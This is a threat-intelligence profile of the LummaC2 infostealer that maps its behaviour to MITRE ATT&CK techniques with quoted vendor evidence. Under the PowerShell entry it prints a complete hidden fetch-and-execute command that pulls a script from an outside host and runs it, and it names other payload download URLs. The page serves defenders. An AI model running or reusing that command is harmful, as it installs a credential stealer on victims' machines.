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Mallory
Malware

LummaC2 Stealer

Tracked since Mar 18, 2026 · Updated 8 months ago
Trending this weekNot trendingOutside this week’s top 100
Mention activity · 30 daysNo mention activity in the last 30 days.
Vulns0Associated
Actors0Associated
ATT&CK22Techniques
IOCs16Tracked
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MITRE ATT&CK

Techniques & procedures

22 distinct techniques documented for this family, organized by ATT&CK tactic.

Resource Development

1 technique
T1583.006Web ServicesEvidence1

Techniques Used (MITRE ATT&CK): T1583.006: Acquire Infrastructure – Web Services

Initial Access

1 technique
T1566PhishingEvidence1

What makes this attack more dangerous is the deceptive delivery method, exploiting users’ trust in CAPTCHA pages and social engineering tactics. The attack begins with users being directed to a fake CAPTCHA page under the guise of human verification.

Execution

4 techniques
T1059.001PowerShellEvidence2

"C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -W Hidden -command $uR='https://ferrydero.com/gopros/verify.txt'; $reS=Invoke-WebRequest -Uri $uR -UseBasicParsing; $t=$reS.Content; iex $t

T1059.007JavaScriptEvidence1

The page contains a javascript that copies a powershell command to clipboard.

T1204User ExecutionEvidence1

The page instructs users to copy and paste a PowerShell script into their system’s Run window. Upon execution, the script retrieves and executes a malicious EXE file — Lumma Stealer.

T1204.004Malicious Copy and PasteEvidence1

Users tricked into running clipboard-injected PowerShell via Windows + R

Stealth

5 techniques
T1027Obfuscated Files or InformationEvidence1

It uses extensive obfuscation and anti-analysis features... The “hta” file uses multiple obfuscation techniques... Another round of deobfuscation led to an obfuscated powershell command... “Security.Cryptography.Aes” indicating AES encryption was also used.

T1036.008Masquerade File TypeEvidence1

T1036.008: Masquerading: Masquerade File Type

T1140Deobfuscate/Decode Files or InformationEvidence1

Detection Evasion: The stealer has many Obfuscated strings that are being covered by a random string, “edx765”, to evade detection. Upon execution, the stealer passes the obfuscated string to a function that strips the random string and delivers the original string.

T1218System Binary Proxy ExecutionEvidence1

In another sample, I observed “mshta.exe” is used to execute the javascript embedded in the HTA application

T1218.005MshtaEvidence2

In another sample, I observed “mshta.exe” is used to execute the javascript embedded in the HTA application

Defense Impairment

1 technique
T1685Disable or Modify ToolsEvidence1

MITRE ATT&CK® Techniques Tactic Technique ID Technique Name Defense Evasion T1140 T1562 Deobfuscate/Decode Files or Information Impair Defences

Credential Access

2 techniques
T1539Steal Web Session CookieEvidence1

Lumma Stealer is designed to exfiltrate sensitive information such as passwords, session tokens, cryptocurrency wallets, and other personal data from infected machines.

T1555Credentials from Password StoresEvidence1

Lumma Stealer is designed to steal sensitive data from compromised devices. It targets private browser data, cryptocurrency wallets, email credentials, financial information, and more.

Discovery

2 techniques
T1082System Information DiscoveryEvidence1

It starts extracting multiple pieces of information from the system, including LummaC2 Build, Lumma ID, Hardware ID, Screen Resolution, System Language, CPU Name, and Physical Memory.

T1083File and Directory DiscoveryEvidence1

File Grabber: The stealer now enumerates the %userProfile% directory and grabs .txt files from the Victims machine.

Collection

3 techniques
T1005Data from Local SystemEvidence1

The stealer now enumerates the %userProfile% directory and grabs .txt files from the Victims machine. These grabbed files are stored in the memory under the name “ Important Files/Profile ” for exfiltration.

T1119Automated CollectionEvidence1

MITRE ATT&CK® Techniques ... Collection T1119 T1005 Automated Collection Data from the Local System

T1560Archive Collected DataEvidence1

Downloads a ZIP file (bigudish.zip) from “https://fill-tomap.com/” and saves it as pakgosk.zip in C:\ProgramData\. ... Extracts the ZIP file into C:\ProgramData\Extracto.

Command and Control

2 techniques
T1071Application Layer ProtocolEvidence1

After collecting the victim’s wallet and system details, the stealer sends this information to its C&C server... Finally, the stealer encrypts the data obtained from the infected system and sends it to the C&C server.

T1105Ingress Tool TransferEvidence1

Downloads a file from https://ferrydero.com/gopros/verify.txt using Invoke-WebRequest... Downloads a ZIP file (bigudish.zip) from “https://fill-tomap.com/” and saves it as pakgosk.zip in C:\ProgramData\.

Exfiltration

1 technique
T1020Automated ExfiltrationEvidence1

Finally, the stealer encrypts the data obtained from the infected system and sends it to the C&C server.

Indicators of compromise

Observables

16 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.

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Indicator values are available in Mallory. Pivot on every hash, domain, URL, and IP, or pipe them straight into your SIEM.View all in Mallory
Mallory platform

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IOC matching16Match every observed IP, domain, and hash against your live telemetry.
Associated threat actorsGroups linked to this family, with evidence pinned to each claim.
Associated vulnerabilitiesCVEs linked to this family, with the reporting behind each link.
Detection signaturesYARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
MITRE ATT&CK mapping22Every documented technique, ranked by evidence weight.
Researcher chatterReddit, Mastodon, and CTI community discussion around this family.